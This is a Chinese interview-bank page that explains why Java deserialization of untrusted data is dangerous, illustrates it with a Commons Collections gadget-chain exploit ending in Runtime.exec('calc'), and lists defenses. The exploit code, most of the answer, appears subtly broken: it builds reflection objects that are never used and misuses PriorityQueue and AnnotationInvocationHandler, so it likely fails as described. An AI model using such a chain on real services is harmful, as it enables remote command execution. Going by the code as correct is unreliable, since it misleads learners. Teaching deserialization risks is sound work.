MST

星途 面试题库

面试题:Java反序列化安全问题之中等难度

请简述Java反序列化过程中可能导致安全问题的原理,并举出一个常见利用场景的例子。
18.6万 热度难度
编程语言Java

知识考点

AI 面试

面试题答案

一键面试

原理

  1. 反序列化机制:Java的反序列化机制允许将字节流转换回Java对象。在反序列化过程中,Java会根据字节流中的信息重建对象的状态,包括对象的类信息、字段值等。
  2. 安全隐患:如果应用程序反序列化来自不受信任源的数据,攻击者可以精心构造恶意的字节流。当应用程序反序列化该字节流时,会执行恶意构造的对象中的代码。这是因为某些类在反序列化时会调用特定的方法(如readObject等),攻击者可以利用这些方法执行任意代码,如执行系统命令、访问敏感资源等,从而造成安全漏洞。

常见利用场景例子 - Commons Collections 利用链

  1. 利用链原理:Commons Collections库是Java常用的工具库。攻击者利用其中一些类(如TransformerChainedTransformerInvokerTransformer等)的特性,构建一个对象链。
  2. 示例代码(简化示意)
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.PriorityQueue;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

public class DeserializationAttack {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        LazyMap lazyMap = LazyMap.decorate(new java.util.HashMap(), transformerChain);
        PriorityQueue priorityQueue = new PriorityQueue();
        priorityQueue.add(1);
        Class<?> cl = Class.forName("java.lang.reflect.Constructor");
        Constructor constructor = cl.getDeclaredConstructor(Class.class);
        constructor.setAccessible(true);
        Object instantiateArgs = constructor.newInstance(Object[].class);
        cl = Class.forName("sun.reflect.Reflection");
        constructor = cl.getDeclaredConstructor();
        constructor.setAccessible(true);
        Object filler = constructor.newInstance();
        cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        constructor = cl.getDeclaredConstructor(Class.class, java.util.Map.class);
        constructor.setAccessible(true);
        Object annotationInvocationHandler = constructor.newInstance(Override.class, lazyMap);
        priorityQueue.add(annotationInvocationHandler);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

在这个例子中,当反序列化恶意构造的PriorityQueue对象时,会触发LazyMapget方法,进而执行ChainedTransformer中的一系列Transformer操作,最终执行系统命令(这里是打开计算器calc,实际攻击场景可能执行更危险的命令)。

  1. 防御措施
    • 只反序列化来自可信源的数据。
    • 对反序列化的数据进行严格的输入验证,比如检查类名是否在允许的白名单内。
    • 避免使用存在已知反序列化漏洞的类库,如对Commons Collections库及时更新到安全版本。